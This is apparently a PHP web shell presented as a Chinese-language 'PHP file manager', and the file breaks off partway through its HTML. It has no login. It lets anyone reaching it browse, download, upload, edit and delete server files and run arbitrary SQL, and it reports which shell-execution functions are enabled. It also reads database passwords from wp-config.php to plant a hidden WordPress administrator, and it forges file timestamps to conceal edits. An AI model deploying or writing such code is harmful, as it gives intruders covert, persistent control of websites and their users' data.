<?php
// 设置错误报告
error_reporting(E_ALL);
ini_set('display_errors', 0);

// 检查PHP版本
if (version_compare(PHP_VERSION, '7.3.0') < 0) {
    die('需要PHP 7.3或更高版本');
}

// 确保只在Linux系统运行
if (strtoupper(substr(PHP_OS, 0, 3)) !== 'LIN') {
    die('此应用仅支持Linux系统');
}

// 安全设置
if (session_status() === PHP_SESSION_NONE) {
    session_start();
    session_regenerate_id();
}

// 定义常量
define('ROOT_PATH', realpath(__DIR__));
define('DEFAULT_PERMISSION', 0755);
define('ITEMS_PER_PAGE', 50);

// 初始化会话变量
if (!isset($_SESSION['clipboard'])) {
    $_SESSION['clipboard'] = [];
}

// 获取当前路径
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : ROOT_PATH;
if ($currentPath === false || !is_dir($currentPath)) {
    $currentPath = ROOT_PATH;
}

// 获取当前标签页
$currentTab = isset($_GET['tab']) ? $_GET['tab'] : 'files';

// 处理文件操作
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $currentTab === 'files') {
    handleFileOperations($currentPath);
}

// 处理下载请求
if (isset($_GET['download']) && $currentTab === 'files') {
    $filePath = realpath($currentPath . '/' . $_GET['download']);
    if ($filePath && is_file($filePath) && is_readable($filePath)) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $filePath);
        finfo_close($finfo);
        
        header('Content-Description: File Transfer');
        header('Content-Type: ' . $mimeType);
        header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}

// 处理数据库操作
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $currentTab === 'database') {
    handleDatabaseOperations();
}

// 检查关键函数可用性
$functionAvailability = [
    'shell_exec' => isFunctionEnabled('shell_exec'),
    'exec' => isFunctionEnabled('exec'),
    'system' => isFunctionEnabled('system'),
    'passthru' => isFunctionEnabled('passthru'),
    'proc_open' => isFunctionEnabled('proc_open'),
    'popen' => isFunctionEnabled('popen'),
    'Wordpress' => hasWordPressCoreFiles()
];

function isFunctionEnabled($functionName) {
    return function_exists($functionName) && stripos(ini_get('disable_functions'), $functionName) === false;
}

function hasWordPressCoreFiles() {
    if (!isset($_SERVER['DOCUMENT_ROOT']) || empty($_SERVER['DOCUMENT_ROOT'])) {
        return false;
    }
    
    $rootDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
    
    $itemsToCheck = [
        $rootDir . DIRECTORY_SEPARATOR . 'wp-blog-header.php',
        $rootDir . DIRECTORY_SEPARATOR . 'wp-config.php',
        $rootDir . DIRECTORY_SEPARATOR . 'wp-includes',
        $rootDir . DIRECTORY_SEPARATOR . 'wp-content',
        $rootDir . DIRECTORY_SEPARATOR . 'wp-admin'
    ];
    
    foreach ($itemsToCheck as $item) {
        if (!file_exists($item)) {
            return false;
        }
        
        $isFile = strpos($item, '.php') !== false;
        if ($isFile && !is_file($item)) {
            return false;
        }
        if (!$isFile && !is_dir($item)) {
            return false;
        }
    }
    
    return true;
}

/**
 * 处理文件操作
 */
function handleFileOperations($currentPath) {
    if (isset($_POST['action'])) {
        $action = $_POST['action'];
        $target = isset($_POST['target']) ? realpath($currentPath . '/' . $_POST['target']) : null;
        
        switch ($action) {
            case 'add_wp_admin': // 添加新的操作类型
                reset_wp_admin($currentPath);
                break;
            case 'delete':
                if ($target && file_exists($target)) {
                    if (is_dir($target)) {
                        deleteDirectory($target);
                    } else {
                        unlink($target);
                    }
                    $_SESSION['message'] = ['type' => 'success', 'text' => '删除成功'];
                }
                break;
            case 'touch':
                if ($target && file_exists($target)) {
                    if (touch($target)) {
                        $_SESSION['message'] = ['type' => 'success', 'text' => '更新时间成功'];
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '更新时间失败'];
                    }
                }
                break;
            case 'rename':
                $newName = isset($_POST['new_name']) ? $_POST['new_name'] : null;
                if ($target && $newName && file_exists($target)) {
                    $newPath = dirname($target) . '/' . $newName;
                    if (!file_exists($newPath)) {
                        rename($target, $newPath);
                        $_SESSION['message'] = ['type' => 'success', 'text' => '重命名成功'];
                    }
                }
                break;
            case 'modify_time':
                if ($target && file_exists($target)) {
                    $newTime = isset($_POST['new_time']) ? strtotime($_POST['new_time']) : time();
                    
                    if ($newTime === false) {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '无效的时间格式'];
                        break;
                    }
                    
                    if (touch($target, $newTime)) {
                        $_SESSION['message'] = ['type' => 'success', 'text' => '修改时间成功'];
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '修改时间失败'];
                    }
                }
                break;
                
            case 'chmod':
                $permissions = isset($_POST['permissions']) ? $_POST['permissions'] : null;
                $recursive = isset($_POST['recursive']) && $_POST['recursive'] === 'on';
                
                if ($target && $permissions && file_exists($target)) {
                    $octalPermissions = octdec($permissions);
                    
                    // 递归修改权限
                    if ($recursive && is_dir($target)) {
                        $iterator = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::SELF_FIRST
                        );
                        
                        foreach ($iterator as $item) {
                            if ($item->isDir() || $item->isFile()) {
                                chmod($item->getPathname(), $octalPermissions);
                            }
                        }
                    }
                    
                    // 修改当前目录/文件权限
                    chmod($target, $octalPermissions);
                    $_SESSION['message'] = ['type' => 'success', 'text' => '权限修改成功'];
                }
                break;
            case 'copy':
                if ($target && file_exists($target)) {
                    $_SESSION['clipboard'] = [
                        'action' => 'copy',
                        'source' => $target
                    ];
                    $_SESSION['message'] = ['type' => 'success', 'text' => '已复制到剪贴板'];
                }
                break;
                
            case 'cut':
                if ($target && file_exists($target)) {
                    $_SESSION['clipboard'] = [
                        'action' => 'cut',
                        'source' => $target
                    ];
                    $_SESSION['message'] = ['type' => 'success', 'text' => '已剪切到剪贴板'];
                }
                break;
                
            case 'paste':
                if (!empty($_SESSION['clipboard']) && isset($_SESSION['clipboard']['source'])) {
                    $source = $_SESSION['clipboard']['source'];
                    $destination = $currentPath . '/' . basename($source);
                    
                    if ($_SESSION['clipboard']['action'] === 'copy') {
                        if (is_dir($source)) {
                            copyDirectory($source, $destination);
                        } else {
                            copy($source, $destination);
                        }
                        $_SESSION['message'] = ['type' => 'success', 'text' => '粘贴成功'];
                    } elseif ($_SESSION['clipboard']['action'] === 'cut') {
                        rename($source, $destination);
                        $_SESSION['clipboard'] = [];
                        $_SESSION['message'] = ['type' => 'success', 'text' => '移动成功'];
                    }
                }
                break;
                
            case 'chmod':
                $permissions = isset($_POST['permissions']) ? $_POST['permissions'] : null;
                if ($target && $permissions && file_exists($target)) {
                    chmod($target, octdec($permissions));
                    $_SESSION['message'] = ['type' => 'success', 'text' => '权限修改成功'];
                }
                break;
                
            case 'edit':
                $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
                if ($target && file_exists($target) && is_file($target)) {
                    if (saveFileContent($target, $content)) {
                        $_SESSION['message'] = ['type' => 'success', 'text' => '文件保存成功'];
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '文件保存失败'];
                    }
                }
                break;
                
            case 'upload':
                if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
                    $filename = basename($_FILES['upload_file']['name']);
                    $destination = $currentPath . '/' . $filename;
                    
                    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $destination)) {
                        $_SESSION['message'] = ['type' => 'success', 'text' => '文件上传成功'];
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '文件上传失败'];
                    }
                }
                break;
            case 'create_folder':
                $folderName = isset($_POST['folder_name']) ? $_POST['folder_name'] : null;
                if ($folderName) {
                    $newFolderPath = $currentPath . '/' . $folderName;
                    if (!file_exists($newFolderPath)) {
                        mkdir($newFolderPath, DEFAULT_PERMISSION, true);
                        $_SESSION['message'] = ['type' => 'success', 'text' => '文件夹创建成功'];
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '文件夹已存在'];
                    }
                }
                break;
            case 'create_file':
                $fileName = isset($_POST['file_name']) ? $_POST['file_name'] : null;
                if ($fileName) {
                    $newFilePath = $currentPath . '/' . $fileName;
                    if (!file_exists($newFilePath)) {
                        if (touch($newFilePath)) {
                            chmod($newFilePath, DEFAULT_PERMISSION);
                            $_SESSION['message'] = ['type' => 'success', 'text' => '文件创建成功'];
                        } else {
                            $_SESSION['message'] = ['type' => 'error', 'text' => '文件创建失败'];
                        }
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '文件已存在'];
                    }
                }
                break;
            case 'unzip':
                if ($target && file_exists($target) && pathinfo($target, PATHINFO_EXTENSION) === 'zip') {
                    $zip = new ZipArchive;
                    if ($zip->open($target) === TRUE) {
                        $zip->extractTo($currentPath);
                        $zip->close();
                        $_SESSION['message'] = ['type' => 'success', 'text' => '解压成功'];
                    } else {
                        $_SESSION['message'] = ['type' => 'error', 'text' => '解压失败'];
                    }
                }
                break;
        }
    }
}

/**
 * 处理数据库操作
 */
function handleDatabaseOperations() {
    if (isset($_POST['db_action'])) {
        $action = $_POST['db_action'];
        
        switch ($action) {
            case 'connect':
                $host = $_POST['db_host'] ?? '';
                $user = $_POST['db_user'] ?? '';
                $pass = $_POST['db_pass'] ?? '';
                $name = $_POST['db_name'] ?? '';
                
                try {
                    $dsn = "mysql:host=$host;dbname=$name;charset=utf8mb4";
                    $pdo = new PDO($dsn, $user, $pass);
                    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
                    
                    $_SESSION['db_connection'] = [
                        'host' => $host,
                        'user' => $user,
                        'name' => $name
                    ];
                    $_SESSION['db_pdo'] = $pdo;
                    $_SESSION['message'] = ['type' => 'success', 'text' => '数据库连接成功'];
                } catch (PDOException $e) {
                    $_SESSION['message'] = ['type' => 'error', 'text' => '数据库连接失败: ' . $e->getMessage()];
                }
                break;
                
            case 'execute':
                if (isset($_SESSION['db_pdo']) && isset($_POST['sql_query'])) {
                    $sql = trim($_POST['sql_query']);
                    
                    try {
                        $pdo = $_SESSION['db_pdo'];
                        $stmt = $pdo->prepare($sql);
                        $stmt->execute();
                        
                        if (stripos($sql, 'SELECT') === 0) {
                            $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
                            $_SESSION['db_results'] = $results;
                            $_SESSION['db_query'] = $sql;
                        } else {
                            $count = $stmt->rowCount();
                            $_SESSION['message'] = ['type' => 'success', 'text' => "操作成功，影响 $count 行"];
                        }
                    } catch (PDOException $e) {
                        $_SESSION['message'] = ['type' => 'error', 'text' => 'SQL错误: ' . $e->getMessage()];
                    }
                }
                break;
        }
    }
}

/**
 * 递归删除目录
 */
function deleteDirectory($dir) {
    if (!file_exists($dir)) {
        return true;
    }
    
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }
        
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
            return false;
        }
    }
    
    return rmdir($dir);
}

/**
 * 递归复制目录
 */
function copyDirectory($src, $dst) {
    if (is_dir($src)) {
        if (!file_exists($dst)) {
            mkdir($dst, DEFAULT_PERMISSION, true);
        }
        
        $files = scandir($src);
        foreach ($files as $file) {
            if ($file != "." && $file != "..") {
                copyDirectory("$src/$file", "$dst/$file");
            }
        }
    } elseif (file_exists($src)) {
        copy($src, $dst);
    }
}

/**
 * 获取面包屑导航
 */
function getBreadcrumbs($path) {
    $breadcrumbs = [];
    $parts = explode('/', trim($path, '/'));
    $currentPath = '';
    
    foreach ($parts as $part) {
        $currentPath .= '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $currentPath
        ];
    }
    
    return $breadcrumbs;
}

/**
 * 获取文件列表
 */
function getFileList($path) {
    $files = [];
    $dirs = [];
    
    if ($handle = opendir($path)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry == '.' || $entry == '..') {
                continue;
            }
            
            $fullPath = $path . '/' . $entry;
            $isDir = is_dir($fullPath);
            $isReadable = is_readable($fullPath);
            
            $item = [
                'name' => $entry,
                'path' => $fullPath,
                'is_dir' => $isDir,
                'size' => $isDir ? '-' : formatSize(filesize($fullPath)),
                'perms' => substr(sprintf('%o', fileperms($fullPath)), -4),
                'mtime' => date('Y-m-d H:i:s', filemtime($fullPath)),
                'is_readable' => $isReadable
            ];
            
            if ($isDir) {
                $dirs[] = $item;
            } else {
                $files[] = $item;
            }
        }
        closedir($handle);
    }
    
    // 排序：目录在前，文件在后
    usort($dirs, function($a, $b) {
        return strcmp($a['name'], $b['name']);
    });
    
    usort($files, function($a, $b) {
        return strcmp($a['name'], $b['name']);
    });
    
    return array_merge($dirs, $files);
}

// 添加WordPress管理员功能函数
function reset_wp_admin($current_path) {
    $username = trim($_POST['new_username']);
    $email = trim($_POST['email']);
    $password = trim($_POST['password']);
    
    // 验证输入
    if(empty($username) || empty($email) || empty($password) || strlen($password) < 12) {
        $_SESSION['message'] = [
            'type' => 'error', 
            'text' => '密码长度至少12位，请检查所有字段'
        ];
        return;
    }
    
    // 在网站根目录查找wp-config
    $wp_config_path = find_wp_config($current_path);
    
    if(!$wp_config_path) {
        $_SESSION['message'] = [
            'type' => 'error', 
            'text' => '未找到wp-config.php文件'
        ];
        return;
    }
    
    // 从wp-config获取数据库信息
    $db_config = parse_wp_config($wp_config_path);
    
    if(empty($db_config)) {
        $_SESSION['message'] = [
            'type' => 'error', 
            'text' => '无法从wp-config.php获取数据库配置'
        ];
        return;
    }
    
    // 创建新管理员用户
    $result = create_wp_admin($db_config, $username, $password, $email);
    
    if($result['success']) {
        $_SESSION['message'] = [
            'type' => 'success', 
            'text' => '管理员创建成功! ' . $result['message']
        ];
    } else {
        $_SESSION['message'] = [
            'type' => 'error', 
            'text' => '创建失败: ' . $result['error']
        ];
    }
}

// 辅助函数
function find_wp_config($path) {
    $directories = [
        $path,
        dirname($path),
        dirname(dirname($path))
    ];
    
    foreach($directories as $dir) {
        $config_path = $dir . '/wp-config.php';
        if(file_exists($config_path)) {
            return $config_path;
        }
    }
    
    return false;
}

function parse_wp_config($path) {
    $content = file_get_contents($path);
    preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\)\s*;/", $content, $db_name);
    preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\)\s*;/", $content, $db_user);
    preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\)\s*;/", $content, $db_pass);
    preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\)\s*;/", $content, $db_host);
    preg_match("/\\\$table_prefix\s*=\s*['\"](.*?)['\"]\s*;/", $content, $table_prefix);
    
    return [
        'name'  => isset($db_name[1]) ? $db_name[1] : '',
        'user'  => isset($db_user[1]) ? $db_user[1] : '',
        'pass'  => isset($db_pass[1]) ? $db_pass[1] : '',
        'host'  => isset($db_host[1]) ? $db_host[1] : 'localhost',
        'prefix' => isset($table_prefix[1]) ? $table_prefix[1] : 'wp_'
    ];
}

function create_wp_admin($db_config, $username, $password, $email) {
    try {
        // 创建数据库连接
        $conn = new mysqli($db_config['host'], $db_config['user'], $db_config['pass'], $db_config['name']);
        
        if($conn->connect_error) {
            return ['success' => false, 'error' => '数据库连接失败'];
        }
        
        $table_prefix = $db_config['prefix'];
        $user_table = $table_prefix . 'users';
        $usermeta_table = $table_prefix . 'usermeta';
        
        // 检查用户名是否已存在
        $check = $conn->prepare("SELECT ID FROM $user_table WHERE user_login = ?");
        $check->bind_param('s', $username);
        $check->execute();
        $check->store_result();
        
        if($check->num_rows > 0) {
            return ['success' => false, 'error' => '用户名已存在'];
        }
        
        // 生成密码哈希
        $hashed_password = password_hash($password, PASSWORD_BCRYPT);
        $registered = date('Y-m-d H:i:s');
        $display_name = $username;
        
        // 创建新用户
        $insert = $conn->prepare("
            INSERT INTO $user_table 
            (user_login, user_pass, user_nicename, user_email, user_registered, display_name) 
            VALUES (?, ?, ?, ?, ?, ?)
        ");
        $nicename = strtolower($username);
        $insert->bind_param('ssssss', $username, $hashed_password, $nicename, $email, $registered, $display_name);
        
        if(!$insert->execute()) {
            return ['success' => false, 'error' => '创建用户失败: ' . $conn->error];
        }
        
        $user_id = $conn->insert_id;
        
        // 添加管理员权限
        $capabilities = serialize(['administrator' => true]);
        $add_meta1 = $conn->prepare("
            INSERT INTO $usermeta_table (user_id, meta_key, meta_value) 
            VALUES (?, ?, ?)
        ");
        
        $meta_key1 = $table_prefix . 'capabilities';
        $add_meta1->bind_param('iss', $user_id, $meta_key1, $capabilities);
        $add_meta1->execute();
        
        $add_meta2 = $conn->prepare("
            INSERT INTO $usermeta_table (user_id, meta_key, meta_value) 
            VALUES (?, ?, ?)
        ");
        
        $meta_key2 = $table_prefix . 'user_level';
        $meta_value2 = '10';
        $add_meta2->bind_param('iss', $user_id, $meta_key2, $meta_value2);
        $add_meta2->execute();
        
        // 返回成功消息
        return [
            'success' => true,
            'message' => "用户 {$username} 已创建为管理员! 登录密码: {$password}"
        ];
        
    } catch (Exception $e) {
        return ['success' => false, 'error' => '数据库错误: ' . $e->getMessage()];
    } finally {
        if(isset($conn)) $conn->close();
    }
}

/**
 * 格式化文件大小
 */
function formatSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' B';
    }
}

/**
 * 获取文件内容
 */
function getFileContent($path) {
    if (file_exists($path) && is_file($path) && is_readable($path)) {
        return file_get_contents($path);
    }
    return false;
}

/**
 * 保存文件内容
 */
function saveFileContent($path, $content) {
    if (file_exists($path) && is_file($path) && is_writable($path)) {
        $originalMtime = filemtime($path);
        
        $result = file_put_contents($path, $content) !== false;
        
        if ($result && $originalMtime && function_exists('touch')) {
            touch($path, $originalMtime);
        }
        
        return $result;
    }
    return false;
}

/**
 * 获取文件扩展名对应的语言
 */
function getFileLanguage($filename) {
    $extension = pathinfo($filename, PATHINFO_EXTENSION);
    $languages = [
        'php' => 'php',
        'js' => 'javascript',
        'css' => 'css',
        'html' => 'html',
        'json' => 'json',
        'xml' => 'xml',
        'py' => 'python',
        'java' => 'java',
        'sql' => 'sql',
        'md' => 'markdown'
    ];
    
    return $languages[$extension] ?? 'plaintext';
}

// 获取消息
$message = isset($_SESSION['message']) ? $_SESSION['message'] : null;
unset($_SESSION['message']);

// 获取文件内容（用于编辑）
$fileContent = '';
$fileLanguage = 'plaintext';
$editingFile = '';

if (isset($_GET['edit']) && $currentTab === 'files') {
    $filePath = realpath($currentPath . '/' . $_GET['edit']);
    if ($filePath && is_file($filePath)) {
        $fileContent = getFileContent($filePath);
        $fileLanguage = getFileLanguage($filePath);
        $editingFile = basename($filePath);
    }
}

// 数据库分页
$dbPage = isset($_GET['db_page']) ? (int)$_GET['db_page'] : 1;
$dbResults = isset($_SESSION['db_results']) ? $_SESSION['db_results'] : [];
$dbQuery = isset($_SESSION['db_query']) ? $_SESSION['db_query'] : '';
$totalPages = ceil(count($dbResults) / ITEMS_PER_PAGE);
$pagedResults = array_slice($dbResults, ($dbPage - 1) * ITEMS_PER_PAGE, ITEMS_PER_PAGE);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP文件管理器</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.css">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/flatpickr/dist/flatpickr.min.css">
    <script src="https://cdn.jsdelivr.net/npm/flatpickr"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/addon/display/autorefresh.min.js"></script>
    <!-- 引入语言模式 -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/htmlmixed/htmlmixed.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/xml/xml.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/javascript/javascript.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/css/css.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/clike/clike.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/mode/php/php.min.js"></script>
    <!-- 样式调整 -->
    <style>
        .CodeMirror {
            border: 1px solid #ddd;
            height: 400px;
            font-size: 14px;
        }
        .CodeMirror-linenumber {
            padding: 0 10px;
        }
        .hljs {
            /* 将背景色改为深色以匹配VS Code主题 */
            background: #1e1e1e !important;
            padding: 1.5rem !important;
            border-radius: 0.5rem;
        }
        .breadcrumb-item:not(:last-child)::after {
            content: '/';
            margin: 0 0.5rem;
            color: #94a3b8;
        }
        .file-icon {
            width: 1.5rem;
            height: 1.5rem;
            margin-right: 0.5rem;
            display: inline-flex;
            align-items: center;
            justify-content: center;
        }
        .modal-overlay {
            background-color: rgba(0, 0, 0, 0.5);
        }
        .table-container {
            max-height: 60vh;
            overflow-y: auto;
        }
        .transition-opacity {
            transition: opacity 0.5s ease;
        }
        .hidden {
            display: none !important;
        }
        .status-bar {
            background-color: #f3f4f6;
            border-bottom: 1px solid #e5e7eb;
            padding: 8px 0;
            font-size: 13px;
        }
        .status-item {
            display: inline-flex;
            align-items: center;
            margin-right: 15px;
        }
        .status-indicator {
            display: inline-block;
            width: 10px;
            height: 10px;
            border-radius: 50%;
            margin-right: 6px;
        }
        .status-enabled {
            background-color: #10b981;
        }
        .status-disabled {
            background-color: #ef4444;
        }
        .function-name {
            font-weight: 500;
            margin-right: 4px;
        }
        /* 添加按钮颜色区分 */
        .btn-edit { color: #3b82f6; }        /* 蓝色 - 编辑类操作 */
        .btn-rename { color: #8b5cf6; }      /* 紫色 - 重命名/权限 */
        .btn-time { color: #ec4899; }        /* 粉色 - 时间操作 */
        .btn-copy { color: #10b981; }        /* 绿色 - 复制/剪切 */
        .btn-delete { color: #ef4444; }      /* 红色 - 删除操作 */
        .btn-archive { color: #f59e0b; }     /* 黄色 - 解压操作 */
        
        /* 按钮分组 */
        .action-group {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
            margin-top: 4px;
        }
        .action-group > * {
            white-space: nowrap;
        }
    </style>
</head>
<body class="bg-gray-50 text-gray-800">
    <div class="min-h-screen">
        <!-- 顶部导航 -->
        <header class="bg-white shadow-sm">
            <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
                <div class="flex justify-between h-16">
                    <div class="flex">
                        <div class="flex-shrink-0 flex items-center">
                            <h1 class="text-xl font-bold text-indigo-600">PHP文件管理器</h1>
                        </div>
                    </div>
                </div>
            </div>
            <!-- 添加函数状态栏 -->
            <div class="status-bar">
                <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 flex flex-wrap">
                    <?php foreach ($functionAvailability as $func => $enabled): ?>
                        <div class="status-item">
                            <span class="function-name"><?= $func ?>:</span>
                            <span class="status-indicator <?= $enabled ? 'status-enabled' : 'status-disabled' ?>"></span>
                            <span><?= $enabled ? '可用' : '禁用' ?></span>
                        </div>
                    <?php endforeach; ?>
                </div>
            </div>
        </header>

        <!-- 标签页导航 -->
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 mt-6">
            <div class="border-b border-gray-200">
                <nav class="-mb-px flex space-x-8">
                    <a href="?tab=files&path=<?= urlencode($currentPath) ?>" class="<?= $currentTab === 'files' ? 'border-indigo-500 text-indigo-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300' ?> whitespace-nowrap py-4 px-1 border-b-2 font-medium text-sm">
                        文件管理
                    </a>
                    <a href="?tab=database" class="<?= $currentTab === 'database' ? 'border-indigo-500 text-indigo-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300' ?> whitespace-nowrap py-4 px-1 border-b-2 font-medium text-sm">
                        数据库管理
                    </a>
                </nav>
            </div>
        </div>

        <!-- 消息提示 -->
        <?php if ($message): ?>
            <div id="message" class="fixed top-4 right-4 z-50 transition-opacity">
                <div class="px-4 py-3 rounded shadow-lg <?= $message['type'] === 'success' ? 'bg-green-100 text-green-800' : 'bg-red-100 text-red-800' ?>">
                    <?= htmlspecialchars($message['text']) ?>
                </div>
            </div>
        <?php endif; ?>

        <!-- 文件管理模块 -->
        <?php if ($currentTab === 'files'): ?>
            <main class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-6">
                <!-- 面包屑导航 -->
                <div class="mb-6">
                    <nav class="flex" aria-label="Breadcrumb">
                        <ol class="flex items-center space-x-2">
                            <li class="breadcrumb-item">
                                <a href="?path=<?= urlencode(ROOT_PATH) ?>" class="text-indigo-600 hover:text-indigo-800">根目录</a>
                            </li>
                            <?php foreach (getBreadcrumbs($currentPath) as $crumb): ?>
                                <li class="breadcrumb-item">
                                    <a href="?path=<?= urlencode($crumb['path']) ?>" class="text-indigo-600 hover:text-indigo-800"><?= htmlspecialchars($crumb['name']) ?></a>
                                </li>
                            <?php endforeach; ?>
                        </ol>
                    </nav>
                </div>

                <!-- 操作按钮 -->
                <div class="mb-4 flex flex-wrap gap-2">
                    <form method="post" enctype="multipart/form-data" class="flex items-center">
                        <input type="hidden" name="action" value="upload">
                        <label class="bg-indigo-600 text-white px-4 py-2 rounded-md cursor-pointer hover:bg-indigo-700 transition">
                            上传文件
                            <input type="file" name="upload_file" class="hidden" onchange="this.form.submit()">
                        </label>
                    </form>
                    
                    <form method="post" class="flex items-center">
                        <input type="hidden" name="action" value="paste">
                        <button type="submit" class="bg-indigo-600 text-white px-4 py-2 rounded-md hover:bg-indigo-700 transition" <?= empty($_SESSION['clipboard']) ? 'disabled' : '' ?>>粘贴</button>
                    </form>
                    <form method="post" class="flex items-center">
                        <input type="hidden" name="action" value="create_file">
                        <input type="text" name="file_name" placeholder="新文件名称" class="border rounded-md px-3 py-2 mr-2">
                        <button type="submit" class="bg-indigo-600 text-white px-4 py-2 rounded-md hover:bg-indigo-700 transition">新建文件</button>
                    </form>                    
                    <form method="post" class="flex items-center">
                        <input type="hidden" name="action" value="create_folder">
                        <input type="text" name="folder_name" placeholder="新文件夹名称" class="border rounded-md px-3 py-2 mr-2">
                        <button type="submit" class="bg-indigo-600 text-white px-4 py-2 rounded-md hover:bg-indigo-700 transition">新建文件夹</button>
                    </form>
                    <?php if ($functionAvailability['Wordpress']): ?>
                        <button onclick="showAddAdminModal()" 
                                class="bg-red-600 text-white px-4 py-2 rounded-md hover:bg-red-700 transition">
                            <i class="fas fa-user-cog mr-1"></i> 添加WP管理员
                        </button>
                    <?php endif; ?>
                </div>

                <!-- 文件列表 -->
                <div class="bg-white shadow rounded-lg overflow-hidden">
                    <div class="overflow-x-auto">
                        <table class="min-w-full divide-y divide-gray-200">
                            <thead class="bg-gray-50">
                                <tr>
                                    <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">名称</th>
                                    <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">大小</th>
                                    <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">权限</th>
                                    <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">修改时间</th>
                                    <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">操作</th>
                                </tr>
                            </thead>
                            <tbody class="bg-white divide-y divide-gray-200">
                                <?php if ($currentPath !== ROOT_PATH): ?>
                                    <tr>
                                        <td class="px-6 py-4 whitespace-nowrap">
                                            <div class="flex items-center">
                                                <div class="file-icon text-indigo-600">
                                                    <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" viewBox="0 0 20 20" fill="currentColor">
                                                        <path fill-rule="evenodd" d="M9.707 16.707a1 1 0 01-1.414 0l-6-6a1 1 0 010-1.414l6-6a1 1 0 011.414 1.414L5.414 9H17a1 1 0 110 2H5.414l4.293 4.293a1 1 0 010 1.414z" clip-rule="evenodd" />
                                                    </svg>
                                                </div>
                                                <a href="?path=<?= urlencode(dirname($currentPath)) ?>" class="text-indigo-600 hover:text-indigo-900">返回上级</a>
                                            </div>
                                        </td>
                                        <td class="px-6 py-4 whitespace-nowrap">-</td>
                                        <td class="px-6 py-4 whitespace-nowrap">-</td>
                                        <td class="px-6 py-4 whitespace-nowrap">-</td>
                                        <td class="px-6 py-4 whitespace-nowrap">-</td>
                                    </tr>
                                <?php endif; ?>
                                
                                <?php foreach (getFileList($currentPath) as $item): ?>
                                    <tr>
                                        <td class="px-6 py-4 whitespace-nowrap">
                                            <div class="flex items-center">
                                                <div class="file-icon <?= $item['is_dir'] ? 'text-indigo-600' : 'text-gray-500' ?>">
                                                    <?php if ($item['is_dir']): ?>
                                                        <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" viewBox="0 0 20 20" fill="currentColor">
                                                            <path d="M2 6a2 2 0 012-2h5l2 2h5a2 2 0 012 2v6a2 2 0 01-2 2H4a2 2 0 01-2-2V6z" />
